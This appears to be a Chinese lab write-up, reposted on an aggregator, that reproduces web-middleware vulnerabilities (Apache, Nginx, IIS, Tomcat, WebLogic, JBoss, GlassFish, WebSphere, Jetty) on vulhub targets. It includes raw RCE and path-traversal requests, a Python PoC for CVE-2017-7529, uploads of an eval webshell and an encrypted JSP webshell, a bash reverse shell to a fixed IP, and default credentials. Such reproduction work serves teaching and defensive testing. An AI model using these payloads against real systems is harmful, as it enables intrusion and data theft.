中间件安全

news2024/11/17 5:46:33

中间件安全

  • vulhub漏洞复现:https://vulhub.org/
  • 操作教程:https://www.freebuf.com/sectool/226207.html

一、Apache

  • Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。
  • Apache是用C语言开发的基于模块化设计的web应用,核心代码不多。多数功能分散在各个模块中
1.Apache 解析漏洞(CVE-2017-15715)
  • 影响版本:2.4.0~2.4.29

  • 漏洞原理:apache这次解析漏洞的根本原因就是这个 ∗ ∗ ,正则表达式中,我们都知道 ** ,正则表达式中,我们都知道 ,正则表达式中,我们都知道用来匹配字符串结尾位置**

    $符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 '\n' 或 '\r'
    要匹配 $ 字符本身,请使用\$
    如果设置MULTILINE标示,就当作换符处理,如果不设置就当作一行文本处理
    
  • 本次实验是vulhub下的,所以找到apache配置文件,路径在/etc/apache2/ 下, apache2.conf 是apache核心配置文件查看其文件发现如下代码:意思是包含这两个文件下的以conf结尾的文件

    IncludeOptional confenabled/*.conf
    IncludeOptional sitesenabled/*.conf
    
  • 跟进该文件发现关于php的配置文件为docker-php.conf,打开为如下

    <FilesMatch \.php$>
    	SetHandler application/xhttpdphp
    			</FilesMatch>
    
  • 可以看到在正则中是 .php , 因为结尾有个 ,因为结尾有个 ,因为结尾有个符号,结合上述原理,$匹配 ‘\n’ 或 ‘\r’,所以我们修改数据包在文件名后加\n,\n的十六进制为0a

  • 首先查看index.php文件中的php源码

    <?php
    if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
    exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
    } else {
    ?>
    
    • 分析代码文件名KaTeX parse error: Undefined control sequence: \n at position 53: …POST接收不会去掉我们添加的\̲n̲,如果使用_FILES[‘file’][‘name’] 去接收文件名,则会吧\n去掉,所以要满足此漏洞的条件之一就是使用POST接收文件名。
    • $ext等于POST中的文件名后缀,所以文件名不能是[‘php’, ‘php3’, ‘php4’, ‘php5’, ‘phtml’, ‘pht’],但是可以是php\n的这种方式,就绕过了if判断。同时这样的文件还以被解析成PHP
  • 上传一个名为1.php的文件,被拦截:

    在这里插入图片描述

  • 在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截

    在这里插入图片描述

  • 关于windows和Linux下这个利用是有区别的

    • linux:可以正常利用
    • windows:windows会产生warning的警告,因为涉及到文件读写,而windows操作系统不允许后缀以换行符结尾的文件命名方式,所以这里会文件会创建失败,就出现了这两个warning了,产生warning就证明已将绕过了。
2.RCE(CVE-2021-42013)
  • 影响版本:Apache 2.4.49 和 Apache 2.4.50

  • 打开靶场

    在这里插入图片描述

  • 任意命令执行

    GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
    Host: 47.99.49.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: JSESSIONID=AE8DC398D32400BA213293A544A573BA
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
    If-None-Match: "2d-432a5e4a73a80"
    Content-Length: 7
    
    echo;id
    

    在这里插入图片描述

3.路径穿越漏洞(CVE-2021-41773)
  • 影响版本:Apache 2.4.49 和 Apache 2.4.50

  • 打开靶场

    在这里插入图片描述

  • 文件读取

    /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
    

    在这里插入图片描述

    在这里插入图片描述

二、Nginx

  • Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务
1.解析漏洞(CVE-2013-4547)
  • 漏洞原因:PHP配置文件中有一个参数是cgi.fix_pathinfo,如果参数cgi.fix_pathinfo=1,则产生该漏洞。关闭pathinfo的情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php ,这个URI可以匹配上正则 .php$,可以进入这个Location块;但进入后,由于fastcgi在查找文件时被\0截断,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi

  • 打开靶场

    在这里插入图片描述

  • 上传一个jpg文件,后面命名加一个空格

    在这里插入图片描述

  • 访问上传文件 phpinfoa.gif[0x20][0x20].php时,将文件修改为phpinfoa.gif[0x20][0x00].php;[0x20]为空格,[0x00]为\0(起到截断作用)

    在这里插入图片描述

2.整数溢出漏洞(CVE-2017-7529)
  • 影响版本 Nginx 0.5.6 – 1.13.2

  • 原理

    • Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。
    • 如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
    • 如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。
    • 如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。
  • 打开靶场

    在这里插入图片描述

  • POC

    import requests
    import time
    import urllib3
    def cve20177529():
        try:
    
            # 构造请求头
    
            headers = {
                'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
            }
            url = input('请输入目标URL:')
    
            # 获取正常响应的返回长度
    
            #verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
            r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False) 
            url_len = len(r1.content)
    
            # 将数据长度加长,大于返回的正常长度
    
            addnum = 200
            final_len = url_len + addnum
    
            # 构造Range请求头,并加进headers中
    
            # headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
    
            headers = {
                'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
                'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
            }
    
            # 用构造的新的headers发送请求包,并输出结果
    
            r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
            text = r2.text
            code = r2.status_code
            if ('ETag') in text and code == 206:
                print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')
    
                # 将结果输出到文本上
    
                with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                    f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                    f.close
            else:
                print('未检测到漏洞')
    
                # 将结果输出到文本上
    
                with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                    f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                    f.close    
            
        except Exception as result:
            print(result)
    
    if __name__ == "__main__":
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        cve20177529()
    

    在这里插入图片描述

    存在Nginx整数溢出漏洞(CVE-2017-7529)-------------2024-01-20 15:27:15-------------
    
    --00000000000000000002
    Content-Type: text/html; charset=utf-8
    Content-Range: bytes -200-611/612
    
    , 20 Jan 2024 07:24:51 GMT
    Content-Type: text/html; charset=utf-8
    Content-Length: 612
    Last-Modified: Tue, 27 Jun 2017 13:40:50 GMT
    Connection: close
    ETag: "59526062-264"
    Accept-Ranges: bytes
    
    <!DOCTYPE html>
    <html>
    <head>
    <title>Welcome to nginx!</title>
    <style>
        body {
            width: 35em;
            margin: 0 auto;
            font-family: Tahoma, Verdana, Arial, sans-serif;
        }
    </style>
    </head>
    <body>
    <h1>Welcome to nginx!</h1>
    <p>If you see this page, the nginx web server is successfully installed and
    working. Further configuration is required.</p>
    
    <p>For online documentation and support please refer to
    <a href="http://nginx.org/">nginx.org</a>.<br/>
    Commercial support is available at
    <a href="http://nginx.com/">nginx.com</a>.</p>
    
    <p><em>Thank you for using nginx.</em></p>
    </body>
    </html>
    
    --00000000000000000002
    Content-Type: text/html; charset=utf-8
    Content-Range: bytes -9223372036854774384-611/612
    
3.解析漏洞(nginx_parsing_vulnerability)
  • 一些配置错误的情况,与nginx、php版本无关;security.limit_extensions被设置为了空,故什么文件都是可以执行的,所以在防护的时候,需要将这个配置为.php(即:仅为.php的文件才能执行)

  • 打开靶场

    在这里插入图片描述

  • 上传图片马,然后在访问返回的路径后面加上/.php

    在这里插入图片描述

三、IIS

  • Internet Information Services(IIS,以前称为Internet Information Server)互联网信息服务是Microsoft公司提供的可扩展Web服务器,支持HTTP、HTTP/2、HTTPS、FTP、FTPS、SMTP和NNTP等。起初用于Windows NT系列,随后内置在Windows 2000、Windows XP Professional、Windows Server 2003和后续版本一起发行,但在Windows XP Home版本上并没有IIS。IIS目前只适用于Windows系统,不适用于其他操作系统
  • IIS默认的可执行文件除了asp还包含这三种 .asa .cer .cdx
1.短文件名漏洞
  • IIS短文件名有以下几个特征:

    • 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)
    • 后缀名最长只有3位,多余的被截断,超过3位的长文件会生成短文件名
    • 所有小写字母均转换成大写字母
    • 长文件名中含有多个“.”,以文件名最后一个“.”作为短文件名后缀
    • 长文件名前缀/文件夹名字符长度符合0-9和Aa-Zz范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件
  • 受影响版本

    IIS 1.0,Windows NT 3.51 
    IIS 3.0,Windows NT 4.0 Service Pack 2 
    IIS 4.0,Windows NT 4.0选项包
    IIS 5.0,Windows 2000 
    IIS 5.1,Windows XP Professional和Windows XP Media Center Edition 
    IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition 
    IIS 7.0,Windows Server 2008和Windows Vista 
    IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
    IIS 7.5,Windows 2008(经典管道模式)
    
    注意:IIS使用.Net Framework 4时不受影响
    
  • 工具利用

    iis_shortname_Scan
    python iis_shortname_Scan.py url
    

    在这里插入图片描述

2.上传解析漏洞
  • 目录解析:以xx.asp命名的文件夹里的文件都将会被当成ASP文件执行

    • 创建一个glc.asp文件,查看显示效果

      <%=now() %>
      

      在这里插入图片描述

    • 修改为glc.txt,查看一下,代码并没有解析

      在这里插入图片描述

    • 将glc.txt放在名为glc.asp的目录下,然后访问glc.txt,发现代码被成功解析

      在这里插入图片描述

  • 文件解析:xx.asp;.jpg 像这种文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行

    • 创建一个glc.asp;.jpg文件,代码被成功解析

      在这里插入图片描述

3.IIS PUT漏洞
  • 漏洞造成原因

    IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传

  • 把WebDAV设置为允许、然后网站主目录下设置可写入权限

    在这里插入图片描述

    在这里插入图片描述

  • 使用IISPutScanner工具查看是否存在put漏洞

    在这里插入图片描述

  • GET 修改为 OPTIONS 查看可执行命令

    在这里插入图片描述

  • 使用PUT方法上传名为glc.txt的一句话mua,然后用MOVE方法更改文件名为glc.asp

    <%eval request("glc")%>
    
    PUT /glc.txt HTTP/1.1
    Host: 192.168.80.152
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
    Upgrade-Insecure-Requests: 1
    Content-Length: 23
    
    <%eval request("glc")%>
    

    在这里插入图片描述

    在这里插入图片描述

    MOVE /glc.txt HTTP/1.1
    Host: 192.168.80.152
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ASPSESSIONIDSQQADAAC=FCLNHIICBNNOGELHGDJPBOGM
    Upgrade-Insecure-Requests: 1
    Content-Length: 23
    Destination: /glc.asp;.jpg
    
    <%eval request("glc")%>
    

    在这里插入图片描述

    在这里插入图片描述

  • 或者使用工具

    在这里插入图片描述

四、Tomcat

  • Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选
  • 当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的
1.Tomcat常见漏洞
Tomcat AJP 文件包含漏洞
Tomcat弱口令
Tomcat反序列化漏洞(CVE-2016-8735)
Tomcat本地提权漏洞(CVE-2016-1240)
Tomcat之JMX服务弱口令漏洞
Tomcat的PUT的上传漏洞(CVE-2017-12615)
Tomcat win版默认空口令漏洞(CVE-2009-3548)
Tomcat 样例目录session操控漏洞
2.弱口令+后台拿shell
  • 打开靶场

    在这里插入图片描述

  • 使用弱口令登录后台

    :8080/manager/html
    
    tomcat:tomcat
    

    在这里插入图片描述

  • 将jsp马压缩为.war,完成后上传

    jar -cvf shell.war shell.jsp
    

    在这里插入图片描述

  • 完成上传,连接shell

    在这里插入图片描述

3、PUT上传漏洞(CVE-2017-12615)
  • 在Tomcat配置文件设置了PUT上传方法,在 web.xml 文件,可以发现,默认 readonly 为 true,当 readonly设置为 false 时,可以通过 PUT / DELETE 进行文件操控

  • 打开靶场

    在这里插入图片描述

  • 发送数据包,虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/ )来绕过了限制

    PUT /glc.jsp/ HTTP/1.1
    Host: 47.99.49.128:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    Content-Length: 612
    
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
    

    在这里插入图片描述

  • 连接shell

在这里插入图片描述

五、weblogic

  • WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVA EE架构的中间件
  • WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
1.weblogic常见漏洞
#控制台路径泄露
Weakpassword 弱口令
weblogic SSRF (CVE20144210)漏洞
weblogic 反序列化(CVE20154852)
weblogic 反序列化(CVE20160638)
weblogic 反序列化(CVE20163510)
weblogic 反序列化(CVE20173248)
weblogic 反序列化(CVE20182628)
weblogic 反序列化(CVE20182893)
weblogic 文件上传(CVE20182894)
weblogic XMLDecoder反序列化(CVE201710271)
weblogic XMLDecoder反序列化(CVE20173506)
weblogic 未授权访问CVE202014883(CVE202014882)
2.weblogic文件读取漏洞
  • 文件路径:weblogic/weak_password

  • 版本信息

    Weblogic版本:10.3.6(11g)
    Java版本:1.6
    
  • 环境启动后,访问http://your-ip:7001/console,即为weblogic后台

    在这里插入图片描述

  • 弱口令:本环境存在弱口令

    账号:weblogic
    密码:Oracle@123
    

    在这里插入图片描述

  • 任意文件读取漏洞的利用

    • 本环境前台模拟了一个任意文件下载漏洞,访问/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

      在这里插入图片描述

    • 读取后台用户密文与密钥文件

      • weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain

      • SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件

        /hello/file.jsp?path=security/SerializedSystemIni.dat
        

        在这里插入图片描述

      • config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了

        /hello/file.jsp?path=config/config.xml
        

        在这里插入图片描述

    • 解密密文

      • 然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文

      在这里插入图片描述

      • 可见,解密后和我预设的密码一致,说明成功
3.远程代码执行 (CVE-2018-2893)
  • 影响范围

    Oracle WebLogic Server 10.3.6.0
    Oracle WebLogic Server 12.1.3.0
    Oracle WebLogic Server 12.2.1.2
    Oracle WebLogic Server 12.2.1.3
    
  • 打开靶场

    在这里插入图片描述

  • 工具梭哈

    在这里插入图片描述

  • 反弹shell

    在这里插入图片描述

4.远程代码执行 (CVE-2020-14883)
  • 影响版本

    weblogic 10.3.6.0.0
    weblogic 12.1.3.0.0
    weblogic 12.2.1.3.0
    weblogic 12.2.1.4.0
    weblogic 14.1.1.0.0
    
  • 启动靶场

    在这里插入图片描述

  • 直接梭哈

    在这里插入图片描述

六、Jboss

  • 通常占用的端口是1098,1099,4444,4445,8080,8009,8083,8093这几个,Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器
  • fofa语法:“JBoss” && title==“Welcome to JBoss™”
1.CVE-2017-12149
  • 影响的版本:5.x和6.x
  • 打开靶场

    在这里插入图片描述

    在这里插入图片描述

  • 由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

    bash -i >& /dev/tcp/120.46.39.241/8848 0>&1
    
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNDYuMzkuMjQxLzg4NDggMD4mMQ==
    
  • 工具梭哈

    https://github.com/yunxu1/jboss-_CVE-2017-12149
    

    在这里插入图片描述

七、GlassFish

  • GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改
  • fofa搜索语法:“glassfish” && port=“4848”
  • 默认端口:4848
1.任意文件读取(CVE-2017-1000028)
  • 影响版本:Oracle GlassFish Server Open Source Edition 4.1版本

  • 打开靶场

    在这里插入图片描述

    在这里插入图片描述

  • POC

    • 读密码

      /theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
      

      在这里插入图片描述

    • 读windows文件

      /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini
      
    • 读linux文件

      /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
      

      在这里插入图片描述

八、WebSphere

  • WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件

  • 端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口、9060—管理后台访问端口、9043—管理控制台安全端口、8880—SOAP连接器端口等等

  • 漏洞探测在8880端口,后台是9060端口,解析是9080端口

  • fofa语法:

    “websphere” && server==“WebSphere Application Server/7.0” && port=“8880”

    “websphere” && server==“WebSphere Application Server/7.0” && port=“9060”

1.反序列化(CVE-2015-7450)
  • 漏洞影响版本

    IBM Websphere Application Server 7.0
    IBM Websphere Application Server 6.2

  • 启动环境

    拉取镜像:docker pull iscrosales/websphere7
    启动镜像:docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
    

    在这里插入图片描述

  • 漏洞页面

    在这里插入图片描述

  • 工具梭哈

    在这里插入图片描述

2.弱口令上传功能拿shell
  • 发现漏洞

    在这里插入图片描述

  • 访问控制页面,输入admin登录

    :9060/ibm/console/
    

    在这里插入图片描述

  • 生成mua,压缩为zip文件,然后修改后缀为.war,点击上传

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 一直点next,然后设置路径

    在这里插入图片描述

  • 点击完成,然后选择save

    在这里插入图片描述

  • 启用我们上传的文件

    在这里插入图片描述

  • 访问文件需要到特定的访问端口:9080—web(http)应用访问端口、9443—web(https)应用访问端口

    在这里插入图片描述

九、Jetty

  • Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
1.敏感信息泄露
  • CVE-2021-28164

    信息泄露路径:http://目标ip:端口/%2e/WEB-INF/web.xml

  • CVE-2021-28169

    信息泄露路径:http://目标ip:端口/static?/WEB-INF/web.xml

  • CVE-2021-34429

    信息泄露路径:http://目标ip:端口/%u002e/WEB-INF/web.xml

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1418183.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解决ubuntu 在VMware Workstation Pro下显示不完整的问题

步骤一 ctrlaltT 打开终端&#xff0c;输入&#xff1a; xrandr -s 1920x1080如果报错就输入xrandr,从里面选择适合的分辨率 注意是字母x不是乘号 步骤二 按win键&#xff0c;在搜索框搜索resolution更改显示器分辨率&#xff1a; 选择与电脑相同的分辨率&#xff0c;点击…

构造器模式

构造器模式 意图 将一个复杂对象的构建和表示分离&#xff0c;使得相同的构建能创建不同的表示。 解释 案例&#xff1a;想象一个角色扮演游戏的特征生成器。最简单的选择是让计算机为你创建角色。如果你想手动选择特征的细节像职业、性别、头发的颜色等。特征的产生是一个循…

基于java与vue的生鲜物流系统的设计与实现-计算机毕业设计源码13339

摘要 生鲜产品易于腐烂、难贮存、不易长时间运输&#xff0c;生产者所面临的市场风险很大&#xff0c;很多生鲜产品无法实现“货畅其流”和“物尽其值”&#xff0c;适宜的生鲜产品物流体系就显得尤为重要。本文将广东省生鲜产品物流体系的构建作为一个例子进行系统研究。首先对…

Stable Diffusion 笔记一:网络结构拆解

SD由三大组件组成&#xff1a;VAE&#xff0c;CLIP&#xff0c;Unet。 一VAE&#xff1a; VAE是Variational Autoencoder的缩写&#xff0c;中文名变分自编码器&#xff0c;是一种基于深度学习的生成模型。 &#xff11;潜空间图片与像素图片&#xff1a; 像素图片是正常使…

(九)springboot实战——springboot3下的webflux项目参数验证及其全局参数验证异常处理

前言 在上一节内容中&#xff0c;我们介绍了如何在webflux项目中自定义实现一个全局的异常处理器ErrorWebExceptionHandler&#xff0c;正常情况下其可以处理我们系统的运行时异常&#xff0c;但是无法处理参数验证的异常WebExchangeBindException&#xff0c;所以这里提供另外…

Amazon CodeWhisperer 代码提示——Golang 测评

前言 官网链接&#xff1a; 亚马逊云科技 Amazon CodeGuru Reviewer 中的 CodeWhisperer 是一种代码提示工具&#xff0c;它使用机器学习和人工智能技术来提高开发人员的代码质量和效率。它可以通过分析代码库中的历史代码和最佳实践&#xff0c;为开发人员提供有关如何改进其…

vue预览pdf文件的几种方法

文章目录 vue预览pdf集中方法方法一&#xff1a;方法二&#xff1a;展示效果&#xff1a;需要包依赖&#xff1a;代码&#xff1a; 方法三&#xff1a;展示效果&#xff1a;需要包依赖&#xff1a;代码&#xff1a;自己调参数&#xff0c;选择符合自己的 vue预览pdf集中方法 我…

selenium-Web界面搜索功能测试

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 关注公众号&#xff1a;互联网杂货铺&#xff0c;回复1 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;薪资嘎嘎涨 测试环境准备&#xff1a; 1、安装Python 2、安装Ch…

C++面试宝典第25题:阶乘末尾零的个数

题目 给定一个整数n,返回n!(n的阶乘)结果尾数中零的个数。 示例 1: 输入:3 输出:0 解释:3! = 6,尾数中没有零。 示例 2: 输入:5 输出:1 解释:5! = 120,尾数中有1个零。 解析 这道题主要考察应聘者对于数学问题的分析和理解能力,以及在多个解决方案中,寻求最优…

Python 拼接字符串的 7 种方式

忘了在哪看到一位编程大牛调侃&#xff0c;他说程序员每天就做两件事&#xff0c;其中之一就是处理字符串。相信不少同学会有同感。 几乎任何一种编程语言&#xff0c;都把字符串列为最基础和不可或缺的数据类型。而拼接字符串是必备的一种技能。今天&#xff0c;我跟大家一起来…

Github 2024-01-28 开源项目日报Top10

根据Github Trendings的统计&#xff0c;今日(2024-01-28统计)共有10个项目上榜。根据开发语言中项目的数量&#xff0c;汇总情况如下&#xff1a; 开发语言项目数量Python项目3TypeScript项目2Rust项目1HTML项目1JavaScript项目1Cuda项目1C#项目1非开发语言项目1 Nuxt&#…

Spring Boot通过配置文件支持数据库自定义表名

直接上干货&#xff1a; 例如一个叫xxx的项目&#xff0c;yml文件里加上这段 xxxproject:db:xxxTable: xxx_dbname #自定义的数据库表名创一个Configuration类放表名和Mapper // XxxProjectAutoConfiguration.javaConfiguration MapperScan(basePackages "cn.com.xxxp…

蓝牙----蓝牙连接建立_连接建立

蓝牙----蓝牙连接建立_连接建立 蓝牙连接建立过程图1.主机扫描到广播包1.1判断是否是自己关心的广播包1.2广播地址添加到扫描列表 2.主机扫描结束&#xff0c;建立连接3.主从连接成功后&#xff0c;执行连接建立后事件3.1.主机将连接句柄和设备地址添加到连接列表3.2.主机进行G…

ad18学习笔记十六:v割

所谓“V割”是印刷电路板&#xff08;PCB&#xff09;厂商依据客户的图纸要求&#xff0c;事先在PCB的特定位置用转盘刀具切割好的一条条分割线&#xff0c;其目的是为了方便后续SMT电路板组装完成后的分板之用&#xff0c;因为其切割后的外型看起来就像个英文的“V”字型&…

msfconsole实战使用(结合靶场演示)

msfconsole实战使用 前言 MSFconsole&#xff08;Metasploit Framework Console&#xff09;是Metasploit框架的一部分&#xff0c;是一个功能强大的渗透测试工具。Metasploit框架是一个开源的安全工具&#xff0c;旨在开发、测试和执行针对计算机系统的攻击。MSFconsole是Me…

SpringMvc切换Json转换工具

SpringBoot切换使用goolge的Gson作为SpringMvc的Json转换工具 <!-- gson依赖 --> <dependency><groupId>com.google.code.gson</groupId><artifactId>gson</artifactId> </dependency>Configuration public class JsonWebConfig {B…

ThreadLocal学习笔记

ThreadLocal类图 ThreadLocal/InheritableThreadLocal/ \TransmittableThreadLocal(阿里巴巴) TransmissibleThreadLocal(阿里巴巴)ThreadLocal 这是Thread类的局部变量&#xff0c;每个线程私有。 它主要用于解决多线程中的数据共享问题&#xff0c;保…

把数组中的key都取出来然后去重

今日接到一个小需求&#xff0c;一张表有类似这样的数据&#xff1a;&#xff08;下面是一行&#xff09; 但是每行的数据&#xff0c;主要是key不一样&#xff0c;我们想把所有的key取出来&#xff0c;并且做个去重。 首先我先在mysql中&#xff0c; SELECT GROUP_CONCAT(RE…

在租户内启用SharePoint Embedded

要开启 SharePoint Embedded&#xff0c;你得是管理员&#xff0c;然后按照这些步骤操作&#xff1a; 登录到你的 SharePoint 管理中心。在左边的菜单里找到“设置”选项&#xff0c;点进去。 3. 在设置页面里找到“SharePoint Embedded 应用”。 4.如果这个功能还没开启&…

高阶测试开发必备技能: k8s入门!

现在稍微有点规模公司都是基于docker容器化部署技巧&#xff0c;K8s现在主流&#xff0c;应用最广的容器集群管理技术。 k8s全称kubernetes&#xff08;首字母为 k、首字母与尾字母之间有 8 个字符、尾字母为 s&#xff0c;所以简称 k8s&#xff09;&#xff0c;基于Docker容器…